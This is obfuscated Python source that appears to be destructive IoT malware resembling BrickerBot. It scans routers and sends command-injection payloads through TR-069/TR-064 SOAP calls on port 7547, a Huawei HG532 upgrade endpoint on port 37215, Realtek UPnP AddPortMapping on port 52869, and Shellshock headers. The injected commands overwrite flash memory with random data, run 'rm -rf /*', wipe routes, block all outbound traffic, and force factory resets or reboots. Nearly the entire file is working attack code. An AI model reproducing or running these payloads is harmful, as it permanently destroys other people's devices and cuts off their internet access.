if ooOoO0o [ iiIii1I1i1 ] >= len ( I1I1IIi1i1I [ iiIii1I1i1 ] ) :
if 32 - 32: OOooOO0 * oOOo0000o + O0oo / O0oo0OOOOO00 + Oooo % oOOo0000o
oo0O0o0Oo ( iiIii1I1i1 )
continue
if 76 - 76: I11I1Ii + IIiII . o0oooooO - oOOoO00oo0
if 98 - 98: IIiIii1iI % oOoO0Ooo / Ii11i1iIi . i1
if Iioo0OooOoO >= o0O00OO [ iiIii1I1i1 ] :
if 52 - 52: i1IIi1i1iiI % oOOo0000o . oOOoO00oo0 * IIiII
O0OOo00o00o = oOoo0 ( O0oOoo [ iiIii1I1i1 ] [ 0 ] , O0oOoo [ iiIii1I1i1 ] [ 1 ] , I1I1IIi1i1I [ iiIii1I1i1 ] [ ooOoO0o [ iiIii1I1i1 ] ] , iiIii1I1i1 )
OO0 [ iiIii1I1i1 ] = O0OOo00o00o
o0O00OO [ iiIii1I1i1 ] = 0
if 95 - 95: Oooo . O0oo0OOOOO00 + Oo0 * IIiIIiIii1I
if 77 - 77: oOOo0000o * oOOoO00oo0 * o0ooO % oOoO0Ooo % O0oo
def O0o00oO ( sock , webhash , jobhash ) :
if 1 - 1: o0ooO * Oo0 . OOOoOooO
O000oO0o = random . uniform ( 30 , 254 )
i1i11I1iI = random . uniform ( 1 , 254 )
if 65 - 65: OOooOO0 * OOooOO0 . o0oooooO + Oo0Oo / Ii11i1iIi . oOOo0000o
if '%' in Ooo000Oo [ webhash ] :
if '%%TARGETIP%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%TARGETIP%%' , O0oOoo [ jobhash ] [ 0 ] , Ooo000Oo [ webhash ] )
if '%%TARGETPORT%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%TARGETPORT%%' , '%d' % ( O0oOoo [ jobhash ] [ 1 ] ) , Ooo000Oo [ webhash ] )
if '%%LOGIN%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%LOGIN%%' , IiIi11iii [ jobhash ] , Ooo000Oo [ webhash ] )
if '%%PASSWORD%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%PASSWORD%%' , IIi1i [ jobhash ] , Ooo000Oo [ webhash ] )
if '%%NEWPASSWORD%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%NEWPASSWORD%%' , IIIiI [ jobhash ] , Ooo000Oo [ webhash ] )
if '%%CUSTOM1%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%CUSTOM1%%' , IiiI1II1111I1 [ jobhash ] , Ooo000Oo [ webhash ] )
if '%%CUSTOM2%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%CUSTOM2%%' , ooOo [ jobhash ] , Ooo000Oo [ webhash ] )
if '%%CUSTOM3%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%CUSTOM3%%' , iIiIi1II11 [ jobhash ] , Ooo000Oo [ webhash ] )
if '%%CUSTOM4%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%CUSTOM4%%' , Ii1ii [ jobhash ] , Ooo000Oo [ webhash ] )
if '%%RAND16%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%RAND16%%' , '%d.%d' % ( O000oO0o , random . uniform ( 20 , 200 ) ) , Ooo000Oo [ webhash ] )
if '%%COMP16%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%COMP16%%' , '%d.%d' % ( O000oO0o , random . uniform ( 201 , 253 ) ) , Ooo000Oo [ webhash ] )
if '%%RAND8%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%RAND8%%' , '%d.%d.%d' % ( O000oO0o , i1i11I1iI , random . uniform ( 20 , 200 ) ) , Ooo000Oo [ webhash ] )
if '%%COMP8%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%COMP8%%' , '%d.%d.%d' % ( O000oO0o , i1i11I1iI , random . uniform ( 201 , 253 ) ) , Ooo000Oo [ webhash ] )
if '%%RHEX1%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%RHEX1%%' , '' . join ( random . choice ( 'ABCDEF0123456789' ) for i in range ( 2 ) ) , Ooo000Oo [ webhash ] )
if '%%RHEX2%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%RHEX2%%' , '' . join ( random . choice ( 'ABCDEF0123456789' ) for i in range ( 2 ) ) , Ooo000Oo [ webhash ] )
if '%%RHEX3%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%RHEX3%%' , '' . join ( random . choice ( 'ABCDEF0123456789' ) for i in range ( 2 ) ) , Ooo000Oo [ webhash ] )
if '%%RANDPORT%%' in Ooo000Oo [ webhash ] :
Ooo000Oo [ webhash ] = re . sub ( '%%RANDPORT%%' , '%d' % ( random . uniform ( 10000 , 65000 ) ) , Ooo000Oo [ webhash ] )
if 27 - 27: Oo0Oo * i1
if '%%BODYLENGTH%%' in Ooo000Oo [ webhash ] :
i1iIII = Ooo000Oo [ webhash ] . find ( '\r\n\r\n' )
Oo00Ooo0O0Oo = - 1
if i1iIII >= 0 :
i1iIII += 4
else :
i1iIII = Ooo000Oo [ webhash ] . find ( '\n\n' )
if i1iIII >= 0 :
i1iIII += 2
if 100 - 100: OOOoOooO % oOOo0000o + I11I1Ii
if i1iIII >= 0 :
if 68 - 68: o0ooO * Oo0 . Oo0Oo . IIiIIiIii1I / O0oo - oOoO0Ooo
if 100 - 100: IIiII * o0oooooO % i1 / Ii11i1iIi / O0oo0OOOOO00 * IIiIIiIii1I
if 10 - 10: oOoO0Ooo % Ii / IIiII % oOOo0000o . i1IIi1i1iiI % Oo0
if 82 - 82: oOoO0Ooo + IIiIii1iI / Oo0 + IIiIii1iI % OOooOO0
Oo00Ooo0O0Oo = ( len ( Ooo000Oo [ webhash ] ) - i1iIII )
if 81 - 81: Ii . oOOoO00oo0 * Ii % O0oo0OOOOO00 * IIiII % O0oo
Ooo000Oo [ webhash ] = re . sub ( '%%BODYLENGTH%%' , '%d' % ( Oo00Ooo0O0Oo ) , Ooo000Oo [ webhash ] )
try :
if 98 - 98: OOooOO0
sock . send ( Ooo000Oo [ webhash ] )
except :
pass
if 17 - 17: O0oo * IIiIIiIii1I
return 1
if 74 - 74: IIiIii1iI / o0ooO % IIiIIiIii1I - o0ooO
def O00o0oOOO0O0 ( ) :
global IIIIiI
global webclient_maxconnectiontime_payload
if 7 - 7: OOooOO0
Iioo0OooOoO = time . time ( )
if 18 - 18: O0oo . IIiIii1iI
if 38 - 38: Oooo / oOOoO00oo0 . o0ooO / o0ooO
O00Oo = 0.01
IIiI1i , O0o0 , IiIIiI11I = select . select ( i11IiiI1I , i11IiiI1I , [ ] , O00Oo )
for O0O0 in i11IiiI1I :
I11i1I = hash ( O0O0 )
o0oo0OOOo = O0O0 . getsockopt ( socket . SOL_SOCKET , socket . SO_ERROR )
if o0oo0OOOo != 0 :
if 8 - 8: I11I1Ii . oOOo0000o - O0oo
if O0Oooo0ooo0 [ I11i1I ] == '' :
O0Oooo0ooo0 [ I11i1I ] = '(timeout)' ;
iIiIii111Ii ( O0O0 )
continue
if O0O0 in IIiI1i :
O0 = ''
try :
O0 = O0O0 . recv ( 2048 )
except :
pass
if O0 :
O0Oooo0ooo0 [ I11i1I ] += O0
if 84 - 84: I11I1Ii
if 33 - 33: O0oo . o0ooO - o0ooO - oOOo0000o . o0oooooO / i1
if 74 - 74: Oooo - IIiII * OOooOO0 - Ii + Ii11i1iIi
if 24 - 24: Oooo + oOOo0000o . o0ooO / oOOoO00oo0 % IIiII / Ii
i1iIII = O0Oooo0ooo0 [ I11i1I ] . find ( '\r\n\r\n' )
if i1iIII >= 0 :
i1iIII += 4
else :
i1iIII = O0Oooo0ooo0 [ I11i1I ] . find ( '\n\n' )
if i1iIII >= 0 :
i1iIII += 2
if 86 - 86: Oo0 / o0oooooO * Oooo . Oo0 - oOOoO00oo0
if i1iIII >= 0 :
if 78 - 78: OOOoOooO + OOOoOooO * o0ooO % o0ooO
Oo00oO0O = re . search ( 'Content-Length:\s*(\d+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
Oo00Ooo0O0Oo = int ( Oo00oO0O . group ( 1 ) )
if 95 - 95: Oooo / i1IIi1i1iiI + oOoO0Ooo % I11I1Ii / Oooo / IIiIii1iI
if 28 - 28: OOooOO0 * oOOoO00oo0 + oOOo0000o % I11I1Ii / IIiII * i1
if 49 - 49: IIiIii1iI / OOOoOooO + OOooOO0 / Ii . o0ooO
if 27 - 27: oOOoO00oo0 . Oo0 * o0ooO . Ii - O0oo0OOOOO00
if len ( O0Oooo0ooo0 [ I11i1I ] ) - i1iIII == Oo00Ooo0O0Oo :
if 69 - 69: Ii11i1iIi / Oo0 % o0oooooO + Ii11i1iIi
iIiIii111Ii ( O0O0 )
continue
if 55 - 55: Oo0 - O0oo0OOOOO00 % Ii11i1iIi . IIiII . O0oo0OOOOO00 / IIiIIiIii1I
if 93 - 93: OOOoOooO + Oooo + OOooOO0 - OOOoOooO
else :
iIiIii111Ii ( O0O0 )
continue
if O0O0 in O0o0 :
if IIi1i1iiii1Ii [ I11i1I ] == 0 :
if 98 - 98: IIiIIiIii1I + IIiII + i1IIi1i1iiI
iiIii1I1i1 = O0000o0 [ I11i1I ]
O0o00oO ( O0O0 , I11i1I , iiIii1I1i1 )
IIi1i1iiii1Ii [ I11i1I ] = 1
if 43 - 43: oOoO0Ooo / Ii * Oo0Oo
OoO0oOoooo = IIIIiI
iiIii1I1i1 = O0000o0 [ I11i1I ]
if O0oOO [ iiIii1I1i1 ] :
if 20 - 20: IIiIIiIii1I % Oooo / o0oooooO
if 20 - 20: Ii11i1iIi % i1IIi1i1iiI
OoO0oOoooo = 15
if Iioo0OooOoO - IIiiI [ I11i1I ] > OoO0oOoooo :
if 81 - 81: Ii11i1iIi + oOOo0000o
if 58 - 58: i1IIi1i1iiI - Oo0Oo + Oooo + o0oooooO * i1
if O0Oooo0ooo0 [ I11i1I ] == '' :
O0Oooo0ooo0 [ I11i1I ] = '(timeout)' ;
iIiIii111Ii ( O0O0 )
continue
if 35 - 35: I11I1Ii . Ii11i1iIi * o0oooooO
if 72 - 72: Oooo + Oo0 * IIiII + IIiIii1iI . O0oo . I11I1Ii
if 91 - 91: OOooOO0 . Ii11i1iIi % OOooOO0 * Ii
if 91 - 91: IIiIii1iI / IIiIii1iI + oOOo0000o + Oo0Oo % O0oo
time . sleep ( 3 )
if 84 - 84: OOOoOooO / I11I1Ii % Oooo . Ii11i1iIi * o0ooO
if 5 - 5: IIiIIiIii1I
if 98 - 98: O0oo0OOOOO00 . O0oo0OOOOO00 . Oo0 % i1IIi1i1iiI . Oo0Oo - O0oo0OOOOO00
if 57 - 57: i1
if 3 - 3: oOoO0Ooo - o0ooO
o0iIiI1Ii1Ii = 20
i1iii1I11 = 7
if 17 - 17: OOooOO0 / O0oo % I11I1Ii % IIiIIiIii1I
if 16 - 16: i1IIi1i1iiI * Oo0 + Ii - o0oooooO
if 50 - 50: O0oo + oOOo0000o + Oooo
if 93 - 93: I11I1Ii % oOOoO00oo0 - oOoO0Ooo / O0oo + oOoO0Ooo
if 58 - 58: O0oo
O0ooOOo0o = [ ]
OOi11i11IIii11 = { }
I11IO0O00o0 = { }
iIiiiIIIII1i1 = { }
oOOoOoO = { }
Oo0OoOOoo00o = { }
I11Ii11iiiii1 = { }
if 48 - 48: OOooOO0 % Oo0
iii11II1I1I = [ ]
i1iI = { }
oOOOOOO0OO0 = { }
iI1I1IiI1II1 = { }
iI1IIi = { }
ooOOoooOo = { }
if 20 - 20: o0ooO - oOOo0000o + I11I1Ii / o0ooO + oOOo0000o % oOOo0000o
if 12 - 12: IIiIIiIii1I - oOoO0Ooo + IIiII + IIiIii1iI + i1
if 94 - 94: oOOo0000o . IIiII
oooOoo0O = 'POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:%d\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n'
II1I1 = '<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"><NewNTPServer1>`'
Iii1i1i = '`</NewNTPServer1><NewNTPServer2></NewNTPServer2><NewNTPServer3></NewNTPServer3><NewNTPServer4></NewNTPServer4><NewNTPServer5></NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>'
i1I = '`</NewNTPServer1><NewNTPServer2>`route del default`</NewNTPServer2><NewNTPServer3>`iptables -A OUTPUT -j DROP`</NewNTPServer3><NewNTPServer4></NewNTPServer4><NewNTPServer5></NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>'
if 41 - 41: oOoO0Ooo / OOOoOooO
if 66 - 66: o0ooO / oOoO0Ooo
o0o0000o00o = [
'busybox cat /dev/urandom >/dev/mtdblock0;busybox cat /dev/urandom >/dev/mtdblock1;busybox cat /dev/urandom >/dev/mtdblock2;busybox cat /dev/urandom >/dev/mtdblock3;busybox cat /dev/urandom >/dev/mtdblock4;busybox cat /dev/urandom >/dev/mtdblock5' ,
'busybox cat /dev/urandom >/dev/mtdblock0;busybox cat /dev/urandom >/dev/mtdblock1;busybox cat /dev/urandom >/dev/mtdblock2;busybox cat /dev/urandom >/dev/mtdblock3;busybox cat /dev/urandom >/dev/mtdblock4;busybox cat /dev/urandom >/dev/mtdblock5 &' ,
'cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/mtdblock4;cat /dev/urandom >/dev/mtdblock5' ,
'cat /dev/urandom >/dev/mtdblock0;cat /dev/urandom >/dev/mtdblock1;cat /dev/urandom >/dev/mtdblock2;cat /dev/urandom >/dev/mtdblock3;cat /dev/urandom >/dev/mtdblock4;cat /dev/urandom >/dev/mtdblock5 &' ,
'cat /dev/urandom >/dev/root' ,
'dd if=/dev/urandom of=/dev/root' ,
'busybox cat /dev/urandom >/dev/root' ,
'GET / HTTP/1.0\r\nUser-Agent: () { :;};cat /dev/urandom >/dev/root\r\nConnection: close\r\n\r\n' ,
'GET / HTTP/1.0\r\nUser-Agent: () { :;};dd if=/dev/urandom of=/dev/root\r\nConnection: close\r\n\r\n' ,
'POST /UD/act/?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nSOAPAction: urn:dslforum-org:service:WANEthernetInterfaceConfig:1#SetEnable\r\nContent-Type: text/xml\r\nContent-Length: 336\r\n\r\n<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetEnable xmlns:u="urn:dslforum-org:service:WANEthernetInterfaceConfig:1"><NewEnable>0</NewEnable></u:SetEnable> </SOAP-ENV:Body></SOAP-ENV:Envelope>' ,
'POST /UD/act/?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nSOAPAction: urn:dslforum-org:service:WANPPPConnection:1#SetEnable\r\nContent-Type: text/xml\r\nContent-Length: 326\r\n\r\n<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetEnable xmlns:u="urn:dslforum-org:service:WANPPPConnection:1"><NewEnable>0</NewEnable></u:SetEnable> </SOAP-ENV:Body></SOAP-ENV:Envelope>' ,
'POST /UD/act/?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nSOAPAction: urn:dslforum-org:service:WANIPConnection:1#SetEnable\r\nContent-Type: text/xml\r\nContent-Length: 325\r\n\r\n<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetEnable xmlns:u="urn:dslforum-org:service:WANIPConnection:1"><NewEnable>0</NewEnable></u:SetEnable> </SOAP-ENV:Body></SOAP-ENV:Envelope>' ,
'route del default;iproute del default;ip route del default;iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP;rm -rf /*' ,
'ifconfig eth0 down;ifconfig wlan0 down' ,
'iptables -A OUTPUT -j DROP' ,
'route del default' ,
'poweroff' ,
'rm -rf /*' ,
'POST /UD/act/?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nSOAPAction: urn:dslforum-org:service:DeviceConfig:1#FactoryReset\r\nContent-Type: text/xml\r\nContent-Length: 304\r\n\r\n<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:FactoryReset xmlns:u="urn:dslforum-org:service:DeviceConfig:1"></u:FactoryReset> </SOAP-ENV:Body></SOAP-ENV:Envelope>' ,
'GET / HTTP/1.0\r\nCookie: C\r\n\r\n' ,
'GET / HTTP/1.0\r\nUser-Agent: () { :;};route del default;ip route del default;iproute del default;rm -rf *;rm -rf /*\r\n\r\n' ,
'reboot' ,
'POST /UD/act/?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nSOAPAction: urn:dslforum-org:service:DeviceConfig:1#Reboot\r\nContent-Type: text/xml\r\nContent-Length: 292\r\n\r\n<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:Reboot xmlns:u="urn:dslforum-org:service:DeviceConfig:1"></u:Reboot> </SOAP-ENV:Body></SOAP-ENV:Envelope>' ,
]
if 71 - 71: IIiIii1iI * OOooOO0
o0OOoo0ooO00o = 'POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nHost: %%TARGETIP%%:37215\r\nContent-Length: 601\r\nConnection: keep-alive\r\nAuthorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox cat /dev/urandom >/dev/mtdblock0;/bin/busybox cat /dev/urandom >/dev/mtdblock3;/bin/busybox cat /dev/urandom >/dev/mtdblock1;/bin/busybox cat /dev/urandom >/dev/mtdblock2;/bin/busybox cat /dev/urandom >/dev/mtdblock4;/bin/iptables -A OUTPUT -j DROP)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'
if 67 - 67: IIiIii1iI * o0oooooO
IIiI = [
'POST /picdesc.xml HTTP/1.1\r\nHost: %%TARGETIP%%:52869\r\nContent-Length: 866\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nConnection: keep-alive\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>%%RAND16A%%</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>%%RAND16B%%</NewInternalPort><NewInternalClient>`busybox cat /dev/urandom >/dev/mtdblock0;busybox cat /dev/urandom >/dev/mtdblock1;busybox cat /dev/urandom >/dev/mtdblock2;busybox cat /dev/urandom >/dev/mtdblock3;busybox cat /dev/urandom >/dev/mtdblock4;busybox cat /dev/urandom >/dev/mtdblock5;busybox cat /dev/urandom >/dev/mtdblock6`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>' ,
'POST /picdesc.xml HTTP/1.1\r\nHost: %%TARGETIP%%:52869\r\nContent-Length: 873\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nConnection: keep-alive\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>%%RAND16A%%</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>%%RAND16B%%</NewInternalPort><NewInternalClient>`busybox cat /dev/urandom >/dev/mtdblock/0;busybox cat /dev/urandom >/dev/mtdblock/1;busybox cat /dev/urandom >/dev/mtdblock/2;busybox cat /dev/urandom >/dev/mtdblock/3;busybox cat /dev/urandom >/dev/mtdblock/4;busybox cat /dev/urandom >/dev/mtdblock/5;busybox cat /dev/urandom >/dev/mtdblock/6`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>' ,
'POST /picdesc.xml HTTP/1.1\r\nHost: %%TARGETIP%%:52869\r\nContent-Length: 798\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nConnection: keep-alive\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>%%RAND16A%%</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>%%RAND16B%%</NewInternalPort><NewInternalClient>`busybox cat /dev/urandom >/dev/root;route del default;iptables -A OUTPUT -j DROP;busybox route del default;/bin/route del default;/sbin/route del default;/sbin/iptables -A OUTPUT -j DROP;/bin/iptables -A OUTPUT -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>' ,
]
if 20 - 20: oOOoO00oo0 - o0ooO . Ii11i1iIi + O0oo . IIiIIiIii1I * o0oooooO
if 4 - 4: oOOo0000o - oOOo0000o
def OOo0OooO00 ( targetport , index ) :
global II1I1
global o0o0000o00o
global Iii1i1i
global i1I
global oooOoo0O
global o0OOoo0ooO00o
if 51 - 51: O0oo % i1 / i1IIi1i1iiI + IIiII
if targetport == 37215 :
return o0OOoo0ooO00o
if 39 - 39: i1IIi1i1iiI - O0oo0OOOOO00 - Ii11i1iIi * oOoO0Ooo * oOOo0000o - IIiIii1iI
if targetport == 52869 :
return IIiI [ index % 3 ]
if 57 - 57: o0ooO - i1IIi1i1iiI . IIiIIiIii1I * O0oo0OOOOO00
if 'POST /UD/act/' in o0o0000o00o [ index ] or 'GET / HTTP' in o0o0000o00o [ index ] :
return o0o0000o00o [ index ] ;
else :
o0OOo00 = II1I1 ;
o0OOo00 += o0o0000o00o [ index ]
if index < 5 or random . randint ( 0 , 99 ) < 30 :
o0OOo00 += Iii1i1i
else :
o0OOo00 += i1I
I1111II1 = oooOoo0O % ( targetport , len ( o0OOo00 ) )
return I1111II1 + o0OOo00
if 74 - 74: i1 / IIiIIiIii1I . Oooo
if 100 - 100: Ii / O0oo0OOOOO00 / o0ooO + Oooo / i1IIi1i1iiI . I11I1Ii
def O0iII111i1 ( targetip , targetport ) :
global OO00oo0o
if 4 - 4: o0ooO . IIiIii1iI / o0oooooO
if not OO00oo0o :
return
if 23 - 23: OOOoOooO * Oooo
O0000oO0O = ( targetip , int ( targetport ) )
I11i1I = hash ( O0000oO0O )
if I11i1I in iii11II1I1I :
if 28 - 28: o0oooooO % O0oo
return ;
if 32 - 32: i1IIi1i1iiI / Oo0Oo * IIiIIiIii1I - o0oooooO + o0ooO
if 92 - 92: oOOo0000o + Ii11i1iIi . i1 * O0oo / O0oo0OOOOO00 + oOoO0Ooo
oOOOOOO0OO0 [ I11i1I ] = 0
if 39 - 39: o0oooooO - O0oo / oOOo0000o + Oo0
oO0o00Oo0 = random . randint ( 0 , 99 )
if oO0o00Oo0 < 20 :
oOOOOOO0OO0 [ I11i1I ] = 9
elif oO0o00Oo0 < 40 :
oOOOOOO0OO0 [ I11i1I ] = 5
elif oO0o00Oo0 < 60 :
oOOOOOO0OO0 [ I11i1I ] = 18
i1iI [ I11i1I ] = ( targetip , int ( targetport ) )
iI1IIi [ I11i1I ] = 0
ooOOoooOo [ I11i1I ] = None
iii11II1I1I . append ( I11i1I )
if 11 - 11: OOOoOooO
def iiiO0O000OoO0 ( targetip , targetport , request , jobhash ) :
O0000oO0O = ( targetip , int ( targetport ) )
if 78 - 78: i1IIi1i1iiI . oOOoO00oo0
O0OOo00o00o = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
O0OOo00o00o . setblocking ( 0 )
if 81 - 81: Ii + o0ooO
if 97 - 97: O0oo / o0ooO + oOOo0000o - Ii
try :
O0OOo00o00o . connect ( O0000oO0O )
except :
pass
if 66 - 66: oOoO0Ooo * Oo0 * i1 % O0oo + IIiIii1iI
if 81 - 81: oOoO0Ooo + oOoO0Ooo + o0oooooO + oOOoO00oo0 * IIiII - IIiIii1iI
if '%' in request :
if '%%TARGETIP%%' in request :
request = re . sub ( '%%TARGETIP%%' , targetip , request )
if '%%RAND16A%%' in request :
request = re . sub ( '%%RAND16A%%' , '%d' % ( random . uniform ( 10000 , 65535 ) ) , request )
if '%%RAND16B%%' in request :
request = re . sub ( '%%RAND16B%%' , '%d' % ( random . uniform ( 10000 , 65535 ) ) , request )
if 75 - 75: oOOo0000o . OOOoOooO % oOOo0000o * o0ooO
I11i1I = hash ( O0OOo00o00o )
O0ooOOo0o . append ( O0OOo00o00o )
OOi11i11IIii11 [ I11i1I ] = ( targetip , int ( targetport ) , request )
oOOoOoO [ I11i1I ] = 0
Oo0OoOOoo00o [ I11i1I ] = request
iIiiiIIIII1i1 [ I11i1I ] = ''
I11Ii11iiiii1 [ I11i1I ] = time . time ( )
I11IO0O00o0 [ I11i1I ] = jobhash
ooOOoooOo [ jobhash ] = O0OOo00o00o
iI1I1IiI1II1 [ jobhash ] = ''
return O0OOo00o00o
if 39 - 39: Oo0Oo / Oooo
def i1I11i1I111 ( webhash ) :
global i11iiiIi
if 25 - 25: IIiII + O0oo / Ii11i1iIi
if i11iiiIi :
Ii111i11iIi ( "%s:%d TR:%s" % ( i1iI [ webhash ] [ 0 ] , i1iI [ webhash ] [ 1 ] , iI1I1IiI1II1 [ webhash ] ) )
if 26 - 26: OOooOO0
oOOOOOO0OO0 [ webhash ] = None
i1iI [ webhash ] = None
iI1IIi [ webhash ] = None
ooOOoooOo [ webhash ] = None
iI1I1IiI1II1 [ webhash ] = None
iii11II1I1I . remove ( webhash )
if 10 - 10: O0oo0OOOOO00 * i1 + Ii11i1iIi
def IIii1i1i ( sock ) :
global tr69client_maxattempts
global i1iii1I11
global o0iIiI1Ii1Ii
if 71 - 71: oOOoO00oo0
I11i1I = hash ( sock )
iiIii1I1i1 = I11IO0O00o0 [ I11i1I ]
if 3 - 3: i1IIi1i1iiI * Ii11i1iIi . O0oo0OOOOO00 % OOOoOooO + o0oooooO + OOooOO0
try :
sock . close ( )
except :
pass
if 74 - 74: I11I1Ii + Ii11i1iIi % oOoO0Ooo % OOooOO0
OOoOoooOo0 = 0
if 29 - 29: Ii11i1iIi
iI1I1IiI1II1 [ iiIii1I1i1 ] = '' ;
try :
iI1I1IiI1II1 [ iiIii1I1i1 ] = iIiiiIIIII1i1 [ I11i1I ] . split ( '\n' ) [ 0 ] . strip ( )
except :
pass
if 44 - 44: oOOo0000o
oOOOOOO0OO0 [ iiIii1I1i1 ] += 1
if 9 - 9: i1IIi1i1iiI . Oo0 + IIiIIiIii1I
if 99 - 99: Oooo . OOooOO0 * IIiII
